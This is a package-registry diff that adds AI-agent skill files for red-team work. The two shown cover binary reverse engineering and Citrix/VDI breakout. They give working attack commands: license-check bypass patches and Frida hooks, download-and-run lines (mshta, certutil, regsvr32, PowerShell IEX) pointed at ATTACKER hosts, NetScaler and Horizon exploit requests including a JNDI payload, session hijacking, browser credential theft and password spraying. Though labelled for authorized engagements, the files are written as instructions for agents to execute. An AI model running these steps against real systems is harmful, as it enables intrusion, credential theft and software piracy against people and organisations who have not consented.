rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,304 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-binary-reverse-engineering
|
|
3
|
+
description: "Binary reverse engineering skill for authorized red team engagements. Ghidra and IDA Pro workflow for decompilation, x64dbg dynamic analysis, .NET assembly decompilation with dnSpy/ILSpy, Java JAR analysis, ELF binary analysis, finding hardcoded credentials and API keys in binaries, license check bypassing, and understanding proprietary protocol implementations. Use when analyzing compiled applications, firmware, or custom protocols."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-binary-reverse-engineering — Binary Analysis & Reverse Engineering
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Binary reverse engineering analyzes compiled executables to understand their behavior without source code. In red team engagements, this discovers hardcoded credentials, hidden functionality, bypassable authentication, and proprietary protocol weaknesses.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Initial Triage (Before Disassembly)
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# File type identification
|
|
18
|
+
file target_binary
|
|
19
|
+
# ELF 64-bit LSB executable → Linux binary
|
|
20
|
+
# PE32+ executable → Windows binary
|
|
21
|
+
# Mach-O → macOS binary
|
|
22
|
+
|
|
23
|
+
# Basic string extraction (fastest wins)
|
|
24
|
+
strings target_binary | grep -iE "password|secret|key|token|admin|api|url|http"
|
|
25
|
+
strings -n 8 target_binary | grep -iE "BEGIN.*KEY|PRIVATE|jwt"
|
|
26
|
+
|
|
27
|
+
# Detect packing/obfuscation
|
|
28
|
+
die target_binary # Detect-It-Easy
|
|
29
|
+
upx -t target_binary # Check if UPX packed
|
|
30
|
+
entropy target_binary # High entropy (>7.5) = encrypted/packed sections
|
|
31
|
+
|
|
32
|
+
# Symbols and imports
|
|
33
|
+
nm target_binary # Symbol table (if not stripped)
|
|
34
|
+
objdump -d target_binary # Disassembly
|
|
35
|
+
ldd target_binary # Dynamic library dependencies
|
|
36
|
+
readelf -a target_binary # Full ELF headers
|
|
37
|
+
|
|
38
|
+
# PE analysis (Windows)
|
|
39
|
+
pecheck target.exe
|
|
40
|
+
dumpbin /imports target.exe # Imported functions
|
|
41
|
+
dumpbin /exports target.exe # Exported functions
|
|
42
|
+
|
|
43
|
+
# Quick wins: look for these imports
|
|
44
|
+
# CreateProcess, WinExec, ShellExecute = code execution
|
|
45
|
+
# CryptDecrypt, CryptImportKey = crypto operations
|
|
46
|
+
# InternetOpenUrl, HttpSendRequest = network communication
|
|
47
|
+
# RegOpenKey, RegSetValue = registry operations
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Phase 2 — Static Analysis with Ghidra
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Install Ghidra
|
|
56
|
+
# https://ghidra-sre.org → download → ./ghidraRun
|
|
57
|
+
|
|
58
|
+
# Headless analysis (scriptable)
|
|
59
|
+
./analyzeHeadless /tmp/ghidra_project MyProject \
|
|
60
|
+
-import target_binary \
|
|
61
|
+
-postScript PrintStrings.py \
|
|
62
|
+
-deleteProject
|
|
63
|
+
|
|
64
|
+
# Key Ghidra workflow:
|
|
65
|
+
# 1. Import binary → Auto-analyze
|
|
66
|
+
# 2. Symbol Tree → Functions → main()
|
|
67
|
+
# 3. Decompiler window → clean C-like pseudocode
|
|
68
|
+
# 4. Search → Memory → search for strings (hardcoded strings)
|
|
69
|
+
# 5. References → find all callers of crypto/auth functions
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
```python
|
|
73
|
+
# Ghidra script: find hardcoded strings (run in Script Manager)
|
|
74
|
+
from ghidra.app.script import GhidraScript
|
|
75
|
+
from ghidra.program.model.data import StringDataType
|
|
76
|
+
|
|
77
|
+
class FindSecrets(GhidraScript):
|
|
78
|
+
def run(self):
|
|
79
|
+
keywords = ["password", "secret", "api_key", "token", "admin"]
|
|
80
|
+
for ref in currentProgram.getReferenceManager().getReferenceIterator(None):
|
|
81
|
+
addr = ref.getToAddress()
|
|
82
|
+
data = getDataAt(addr)
|
|
83
|
+
if data and isinstance(data.getDataType(), StringDataType):
|
|
84
|
+
val = str(data.getValue()).lower()
|
|
85
|
+
for kw in keywords:
|
|
86
|
+
if kw in val:
|
|
87
|
+
print(f"[SECRET] {addr}: {data.getValue()}")
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
## Phase 3 — .NET Binary Analysis (dnSpy / ILSpy)
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# .NET binaries contain IL bytecode → decompile to near-original C#
|
|
96
|
+
|
|
97
|
+
# dnSpy (best for .NET — also debugger)
|
|
98
|
+
# https://github.com/dnSpy/dnSpy
|
|
99
|
+
# Open .exe/.dll → full source code decompilation
|
|
100
|
+
|
|
101
|
+
# ILSpy (CLI)
|
|
102
|
+
ilspycmd target.exe -o ./decompiled/
|
|
103
|
+
|
|
104
|
+
# dotPeek (JetBrains — free)
|
|
105
|
+
# Open → decompile → navigate class hierarchy
|
|
106
|
+
|
|
107
|
+
# What to look for in decompiled .NET:
|
|
108
|
+
grep -r "password\|connectionString\|ApiKey\|secret" ./decompiled/ --include="*.cs"
|
|
109
|
+
grep -r "hardcoded\|TODO.*password\|admin123" ./decompiled/
|
|
110
|
+
|
|
111
|
+
# .NET config files (often not encrypted)
|
|
112
|
+
cat ./decompiled/App.config
|
|
113
|
+
cat web.config | grep -i "password\|connectionString"
|
|
114
|
+
|
|
115
|
+
# Assembly manipulation: patch license check
|
|
116
|
+
# 1. Open in dnSpy
|
|
117
|
+
# 2. Find: IsLicensed() or CheckLicense()
|
|
118
|
+
# 3. Right-click method → Edit Method
|
|
119
|
+
# 4. Change return false → return true
|
|
120
|
+
# 5. File → Save Module
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 4 — Java JAR Analysis
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# Decompile JAR
|
|
129
|
+
# jadx — best Java decompiler
|
|
130
|
+
jadx -d ./decompiled_java/ target.jar
|
|
131
|
+
# Browse ./decompiled_java/ as Java source
|
|
132
|
+
|
|
133
|
+
# procyon (alternative)
|
|
134
|
+
java -jar procyon-decompiler.jar target.jar -o ./decompiled/
|
|
135
|
+
|
|
136
|
+
# Look for hardcoded secrets
|
|
137
|
+
grep -r "password\|apiKey\|secret\|jdbc:" ./decompiled_java/ --include="*.java"
|
|
138
|
+
|
|
139
|
+
# Extract embedded resources
|
|
140
|
+
jar xf target.jar
|
|
141
|
+
# Inspect: META-INF/, resources/, application.properties
|
|
142
|
+
|
|
143
|
+
cat application.properties | grep -i "password\|secret\|datasource"
|
|
144
|
+
cat META-INF/MANIFEST.MF # Entry point class
|
|
145
|
+
|
|
146
|
+
# Decompile Android APK (Dalvik bytecode)
|
|
147
|
+
jadx -d ./apk_decompiled/ app.apk
|
|
148
|
+
grep -r "apiKey\|password\|secret\|BuildConfig" ./apk_decompiled/
|
|
149
|
+
cat ./apk_decompiled/resources/res/values/strings.xml | grep -i "key\|token\|password"
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
---
|
|
153
|
+
|
|
154
|
+
## Phase 5 — Dynamic Analysis with x64dbg
|
|
155
|
+
|
|
156
|
+
```bash
|
|
157
|
+
# x64dbg: Windows debugger for 32/64-bit binaries
|
|
158
|
+
# https://x64dbg.com
|
|
159
|
+
|
|
160
|
+
# Workflow:
|
|
161
|
+
# 1. Open target in x64dbg
|
|
162
|
+
# 2. Run → break at entry point
|
|
163
|
+
# 3. Search → All User Modules → String References → search "password"
|
|
164
|
+
# 4. Set breakpoint at identified function → Run → inspect values
|
|
165
|
+
|
|
166
|
+
# Key techniques:
|
|
167
|
+
# Patch jump: change JE (74) to JMP (EB) to bypass license check
|
|
168
|
+
# Patch comparison: change CMP result to always succeed
|
|
169
|
+
# Memory view: inspect decrypted strings at runtime
|
|
170
|
+
# API logger: log all WinAPI calls → find authentication logic
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
```python
|
|
174
|
+
# Automated dynamic analysis with frida (no source needed)
|
|
175
|
+
# Hook any function by address or name
|
|
176
|
+
|
|
177
|
+
import frida, sys
|
|
178
|
+
|
|
179
|
+
script_code = """
|
|
180
|
+
// Hook license check function at address 0x401234
|
|
181
|
+
Interceptor.attach(ptr("0x401234"), {
|
|
182
|
+
onEnter: function(args) {
|
|
183
|
+
console.log("[*] License check called");
|
|
184
|
+
console.log(" Arg 0:", args[0].readUtf8String());
|
|
185
|
+
},
|
|
186
|
+
onLeave: function(retval) {
|
|
187
|
+
console.log("[*] License check returned:", retval);
|
|
188
|
+
retval.replace(1); // Force return true (bypass)
|
|
189
|
+
}
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
// Hook all calls to strcmp (find credential comparisons)
|
|
193
|
+
Interceptor.attach(Module.findExportByName(null, "strcmp"), {
|
|
194
|
+
onEnter: function(args) {
|
|
195
|
+
var s1 = args[0].readUtf8String();
|
|
196
|
+
var s2 = args[1].readUtf8String();
|
|
197
|
+
if (s1 && s2 && (s1.length > 3 || s2.length > 3)) {
|
|
198
|
+
console.log("[strcmp]", s1, "vs", s2);
|
|
199
|
+
}
|
|
200
|
+
}
|
|
201
|
+
});
|
|
202
|
+
"""
|
|
203
|
+
|
|
204
|
+
process = frida.spawn(["./target_binary"])
|
|
205
|
+
session = frida.attach(process)
|
|
206
|
+
script = session.create_script(script_code)
|
|
207
|
+
script.load()
|
|
208
|
+
frida.resume(process)
|
|
209
|
+
sys.stdin.read()
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Phase 6 — Finding Hardcoded Credentials
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# Automated binary secret scanning
|
|
218
|
+
# trufflehog (supports binaries)
|
|
219
|
+
trufflehog filesystem ./target_directory/ --json | jq '.SourceMetadata.Data.Filesystem.file + ": " + .Raw'
|
|
220
|
+
|
|
221
|
+
# YARA rules for credential patterns in binaries
|
|
222
|
+
cat > secrets.yar << 'EOF'
|
|
223
|
+
rule HardcodedPassword {
|
|
224
|
+
strings:
|
|
225
|
+
$pass1 = "password" nocase
|
|
226
|
+
$pass2 = "passwd" nocase
|
|
227
|
+
$key1 = "api_key" nocase
|
|
228
|
+
$key2 = "apikey" nocase
|
|
229
|
+
$aws = /AKIA[0-9A-Z]{16}/
|
|
230
|
+
$jwt = /eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/
|
|
231
|
+
condition:
|
|
232
|
+
any of them
|
|
233
|
+
}
|
|
234
|
+
EOF
|
|
235
|
+
yara -r secrets.yar ./target_binary
|
|
236
|
+
|
|
237
|
+
# binwalk — extract embedded content from binaries
|
|
238
|
+
binwalk -e target_firmware.bin
|
|
239
|
+
# Extracts: filesystems, compressed data, certificates, private keys
|
|
240
|
+
ls _target_firmware.bin.extracted/
|
|
241
|
+
|
|
242
|
+
# floss — deobfuscate strings in malware/obfuscated binaries
|
|
243
|
+
floss target.exe | grep -iE "http|password|key|token"
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Phase 7 — Protocol Reverse Engineering
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Capture traffic from binary + analyze
|
|
252
|
+
# 1. Run binary under strace (Linux)
|
|
253
|
+
strace -e trace=network,read,write -xx ./target_binary 2>&1 | grep -A2 "sendto\|write"
|
|
254
|
+
|
|
255
|
+
# 2. Capture with Wireshark/tcpdump
|
|
256
|
+
tcpdump -i lo -w capture.pcap &
|
|
257
|
+
./target_binary
|
|
258
|
+
# Analyze capture.pcap in Wireshark
|
|
259
|
+
|
|
260
|
+
# 3. Hook socket calls with frida
|
|
261
|
+
cat > proto_hook.js << 'EOF'
|
|
262
|
+
var send = Module.findExportByName("libc.so.6", "send");
|
|
263
|
+
Interceptor.attach(send, {
|
|
264
|
+
onEnter: function(args) {
|
|
265
|
+
var len = args[2].toInt32();
|
|
266
|
+
if (len > 0) {
|
|
267
|
+
console.log("[send] " + len + " bytes:");
|
|
268
|
+
console.log(hexdump(args[1], {length: Math.min(len, 256)}));
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
});
|
|
272
|
+
EOF
|
|
273
|
+
frida -l proto_hook.js ./target_binary
|
|
274
|
+
|
|
275
|
+
# 4. Identify protocol fields
|
|
276
|
+
# - Fixed headers (magic bytes)
|
|
277
|
+
# - Length fields
|
|
278
|
+
# - Checksum/CRC fields
|
|
279
|
+
# - Encrypted vs cleartext regions
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
---
|
|
283
|
+
|
|
284
|
+
## Skill Levels
|
|
285
|
+
|
|
286
|
+
**BEGINNER:** strings + grep for credentials · jadx for .NET/Java · floss for obfuscated strings
|
|
287
|
+
|
|
288
|
+
**INTERMEDIATE:** Ghidra decompilation · x64dbg breakpoints · Frida for dynamic hooking · .NET patching with dnSpy
|
|
289
|
+
|
|
290
|
+
**ADVANCED:** Custom Ghidra scripts · Protocol reverse engineering · Anti-debug bypass · Binary patching
|
|
291
|
+
|
|
292
|
+
**EXPERT:** Firmware analysis with binwalk · Custom deobfuscation · Vulnerability research from decompiled code · 0-day discovery
|
|
293
|
+
|
|
294
|
+
---
|
|
295
|
+
|
|
296
|
+
## References
|
|
297
|
+
|
|
298
|
+
- Ghidra: https://ghidra-sre.org
|
|
299
|
+
- x64dbg: https://x64dbg.com
|
|
300
|
+
- jadx: https://github.com/skylot/jadx
|
|
301
|
+
- dnSpy: https://github.com/dnSpy/dnSpy
|
|
302
|
+
- Frida: https://frida.re
|
|
303
|
+
- Practical Binary Analysis (book): https://nostarch.com/binaryanalysis
|
|
304
|
+
- MITRE T1027: https://attack.mitre.org/techniques/T1027/
|
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-citrix-vdi
|
|
3
|
+
description: "Citrix and VDI breakout skill for authorized engagements. Citrix receiver dialog box escape, file manager breakout, print dialog abuse, URL handler exploitation, Citrix StoreFront enumeration, Citrix ADC (NetScaler) exploitation, VMware Horizon breakout, RDS/RemoteApp escape, and pivoting from VDI to internal network. Use when engagement scope includes Citrix published applications, VDI environments, or thin client deployments."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-citrix-vdi — Citrix & VDI Breakout
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Citrix and VDI environments are designed to give users access to applications without full desktop access. Breakout techniques find gaps in application whitelisting that allow launching unauthorized processes, accessing the underlying OS, or pivoting to the internal network.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Citrix Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Find Citrix infrastructure
|
|
18
|
+
nmap -sV -p 443,8080,1494,2598,80 TARGET_RANGE
|
|
19
|
+
# 1494 = Citrix ICA protocol
|
|
20
|
+
# 2598 = Citrix CGP (session reliability)
|
|
21
|
+
# 443 = Citrix Gateway / StoreFront (HTTPS)
|
|
22
|
+
|
|
23
|
+
# Enumerate StoreFront (web interface)
|
|
24
|
+
curl https://citrix.corp.com/Citrix/StoreWeb/
|
|
25
|
+
# Look for: published application list, authentication methods
|
|
26
|
+
|
|
27
|
+
# Check for NetScaler (Citrix ADC)
|
|
28
|
+
curl -I https://citrix.corp.com/
|
|
29
|
+
# X-Citrix-Application header = NetScaler
|
|
30
|
+
|
|
31
|
+
# CVE-2019-19781 (NetScaler RCE — still found in old installs)
|
|
32
|
+
curl -v "https://NETSCALER_IP/vpn/../vpns/cfg/smb.conf"
|
|
33
|
+
# If returns config file → vulnerable
|
|
34
|
+
|
|
35
|
+
# Exploit CVE-2019-19781
|
|
36
|
+
python3 citrix_rce.py --host NETSCALER_IP --cmd "id"
|
|
37
|
+
# github.com/trustedsec/cve-2019-19781
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Published Application Breakout
|
|
43
|
+
|
|
44
|
+
### Dialog Box Techniques
|
|
45
|
+
|
|
46
|
+
```
|
|
47
|
+
TECHNIQUE 1: File Open/Save Dialog → Explorer
|
|
48
|
+
- In published app: File → Open OR File → Save As
|
|
49
|
+
- Dialog box opens → navigate to C:\Windows\System32\
|
|
50
|
+
- Type in filename field: cmd.exe → press Enter → cmd.exe launches
|
|
51
|
+
|
|
52
|
+
TECHNIQUE 2: Print Dialog → Run
|
|
53
|
+
- File → Print → Print to PDF → Browse
|
|
54
|
+
- In save dialog → address bar type: \\ATTACKER_IP\share
|
|
55
|
+
(triggers SMB auth) OR type C:\Windows\System32\cmd.exe
|
|
56
|
+
|
|
57
|
+
TECHNIQUE 3: About Box → Help → Browser
|
|
58
|
+
- Help → About → click hyperlink in about box
|
|
59
|
+
- Default browser opens (Internet Explorer often)
|
|
60
|
+
- IE address bar: C:\Windows\System32\cmd.exe
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Sticky Keys / Accessibility Breakout
|
|
64
|
+
|
|
65
|
+
```powershell
|
|
66
|
+
# If you can reach the lock screen or accessibility menu:
|
|
67
|
+
# Press Shift 5 times → Sticky Keys dialog
|
|
68
|
+
# Click "Go to Ease of Access Center" → opens IE/Edge
|
|
69
|
+
# Address bar → cmd.exe
|
|
70
|
+
|
|
71
|
+
# Task Manager breakout (if Ctrl+Alt+Del available)
|
|
72
|
+
# Ctrl+Alt+Del → Task Manager → File → Run New Task
|
|
73
|
+
# Type: cmd.exe ✓ → shell
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### URL Handler Abuse
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
# In browser within published app (if available):
|
|
80
|
+
# Address bar tricks:
|
|
81
|
+
|
|
82
|
+
file:///C:/Windows/System32/cmd.exe
|
|
83
|
+
\\ATTACKER_IP\share (triggers file dialog)
|
|
84
|
+
|
|
85
|
+
# If Office is published:
|
|
86
|
+
# Insert → Hyperlink → type: cmd.exe → click link → spawns cmd
|
|
87
|
+
|
|
88
|
+
# PowerPoint: Insert → Action → Run Program → cmd.exe
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Phase 3 — Escape from Restricted Shell / AppLocker
|
|
94
|
+
|
|
95
|
+
```powershell
|
|
96
|
+
# Once in cmd.exe — likely AppLocker restricted
|
|
97
|
+
# Can't run .exe from Downloads → use trusted paths
|
|
98
|
+
|
|
99
|
+
# LOLBAS from trusted locations (AppLocker usually allows System32)
|
|
100
|
+
C:\Windows\System32\mshta.exe http://ATTACKER/payload.hta
|
|
101
|
+
C:\Windows\System32\wscript.exe \\ATTACKER\share\payload.vbs
|
|
102
|
+
C:\Windows\System32\certutil.exe -urlcache -split -f http://ATTACKER/nc.exe C:\Temp\nc.exe
|
|
103
|
+
|
|
104
|
+
# PowerShell (if not blocked)
|
|
105
|
+
powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
|
|
106
|
+
|
|
107
|
+
# MSBuild (AppLocker bypass — trusted Microsoft binary)
|
|
108
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
|
|
109
|
+
|
|
110
|
+
# InstallUtil
|
|
111
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.dll
|
|
112
|
+
|
|
113
|
+
# Regsvr32 (squiblydoo)
|
|
114
|
+
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## Phase 4 — Citrix-Specific Privilege Escalation
|
|
120
|
+
|
|
121
|
+
```powershell
|
|
122
|
+
# Check which user account runs published apps
|
|
123
|
+
whoami
|
|
124
|
+
# Often: domain user or service account
|
|
125
|
+
|
|
126
|
+
# Check Citrix session info
|
|
127
|
+
qwinsta # List sessions
|
|
128
|
+
query session # Active sessions
|
|
129
|
+
|
|
130
|
+
# Find other users' sessions on same Citrix server
|
|
131
|
+
query user /server:CITRIX_SERVER
|
|
132
|
+
|
|
133
|
+
# Session hijacking (if admin)
|
|
134
|
+
tscon TARGET_SESSION_ID /dest:CURRENT_SESSION_ID /password:""
|
|
135
|
+
# Takes over another user's session
|
|
136
|
+
|
|
137
|
+
# Check for sensitive data in Citrix profile
|
|
138
|
+
# Citrix redirects: Desktop, Documents, Downloads to UNC paths
|
|
139
|
+
net use # See mapped drives
|
|
140
|
+
# Often: H:\ = home drive, G:\ = group share → company data
|
|
141
|
+
|
|
142
|
+
# Keylogging other users' sessions (SYSTEM required)
|
|
143
|
+
# Use existing C2 capabilities once SYSTEM is obtained
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## Phase 5 — VMware Horizon Breakout
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# VMware Horizon (VDI platform — alternative to Citrix)
|
|
152
|
+
# Similar breakout techniques apply
|
|
153
|
+
|
|
154
|
+
# Horizon enumeration
|
|
155
|
+
nmap -sV -p 443,8443,4172,32111 HORIZON_SERVER
|
|
156
|
+
# 4172 = PCoIP protocol
|
|
157
|
+
# 443 = Horizon Connection Server web interface
|
|
158
|
+
|
|
159
|
+
# CVE-2021-22005 (Horizon SSRF/RCE — Log4Shell related)
|
|
160
|
+
curl -X POST "https://HORIZON_IP/logon" \
|
|
161
|
+
-H "X-Forwarded-For: \${jndi:ldap://ATTACKER_IP/exploit}"
|
|
162
|
+
|
|
163
|
+
# Horizon client breakout
|
|
164
|
+
# Same dialog box techniques as Citrix apply
|
|
165
|
+
# VMware Tools on guest → check for shared folders
|
|
166
|
+
net share # List shared resources
|
|
167
|
+
# vmware-tools may expose host filesystem
|
|
168
|
+
|
|
169
|
+
# Remote Desktop Session Host (RDSH) breakout
|
|
170
|
+
# Similar to Citrix — look for:
|
|
171
|
+
# Task Manager → File → Run
|
|
172
|
+
# Explorer via dialog boxes
|
|
173
|
+
# Accessibility tools at lock screen
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Phase 6 — Pivot from VDI to Internal Network
|
|
179
|
+
|
|
180
|
+
```powershell
|
|
181
|
+
# VDI machine is domain-joined → standard AD attacks apply
|
|
182
|
+
# From VDI shell:
|
|
183
|
+
|
|
184
|
+
# Network discovery (VDI has internal network access)
|
|
185
|
+
ipconfig /all # Check all interfaces
|
|
186
|
+
arp -a # Internal hosts
|
|
187
|
+
|
|
188
|
+
# Port scan internal from VDI (often unrestricted internally)
|
|
189
|
+
# PowerShell port scan (no nmap needed)
|
|
190
|
+
1..1024 | ForEach-Object {
|
|
191
|
+
$socket = New-Object Net.Sockets.TcpClient
|
|
192
|
+
$connect = $socket.BeginConnect("10.10.10.1", $_, $null, $null)
|
|
193
|
+
Start-Sleep -Milliseconds 50
|
|
194
|
+
if ($socket.Connected) { Write-Host "OPEN: $_" }
|
|
195
|
+
$socket.Close()
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
# Credential hunting on VDI
|
|
199
|
+
# Users store passwords in browser, sticky notes, files
|
|
200
|
+
Get-ChildItem C:\Users -Recurse -Include "*.txt","*.xlsx","*.docx","password*","creds*" 2>$null
|
|
201
|
+
# Browser saved passwords
|
|
202
|
+
.\SharpChrome.exe logins
|
|
203
|
+
|
|
204
|
+
# SMB lateral movement from VDI to internal servers
|
|
205
|
+
crackmapexec smb 10.10.10.0/24 -u user -p password
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Phase 7 — Citrix ADC (NetScaler) Exploitation
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# NetScaler = Citrix load balancer / gateway — high value target
|
|
214
|
+
|
|
215
|
+
# CVE-2023-3519 (Unauthenticated RCE — critical, 2023)
|
|
216
|
+
# Affects: NetScaler ADC and Gateway before specific versions
|
|
217
|
+
curl -v "https://NETSCALER_IP/gwtest/formssso?event=start&target=http://ATTACKER:8080/$(python3 -c 'print(\"A\"*1024)')"
|
|
218
|
+
|
|
219
|
+
# Password spray against NetScaler Gateway
|
|
220
|
+
# Often exposed to internet → spray corporate credentials
|
|
221
|
+
hydra -L users.txt -p 'Summer2024!' TARGET_IP https-post-form \
|
|
222
|
+
"/nf/auth/doAuthentication.do:login=^USER^&passwd=^PASS^&StateContext=:Password:"
|
|
223
|
+
|
|
224
|
+
# Extract NetScaler config (if admin access)
|
|
225
|
+
# Contains: LDAP service account creds, VPN config, SSL certs
|
|
226
|
+
show ns config # NetScaler CLI
|
|
227
|
+
cat /nsconfig/ns.conf # Config file (has passwords in cleartext sometimes)
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## Skill Levels
|
|
233
|
+
|
|
234
|
+
**BEGINNER:** Dialog box breakout to cmd.exe · File Open/Save escape · Task Manager run
|
|
235
|
+
|
|
236
|
+
**INTERMEDIATE:** AppLocker bypass via LOLBAS · VDI network discovery and pivoting · Browser credential extraction
|
|
237
|
+
|
|
238
|
+
**ADVANCED:** Session hijacking · NetScaler CVE exploitation · VMware Horizon RCE
|
|
239
|
+
|
|
240
|
+
**EXPERT:** Citrix ADC full compromise · Custom AppLocker bypass chains · VDI persistence via COM hijacking
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## References
|
|
245
|
+
|
|
246
|
+
- CVE-2019-19781: https://github.com/trustedsec/cve-2019-19781
|
|
247
|
+
- CVE-2023-3519: https://www.rapid7.com/blog/post/2023/07/18/etr-cve-2023-3519/
|
|
248
|
+
- Citrix breakout techniques: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-environments/
|
|
249
|
+
- MITRE T1548: https://attack.mitre.org/techniques/T1548/
|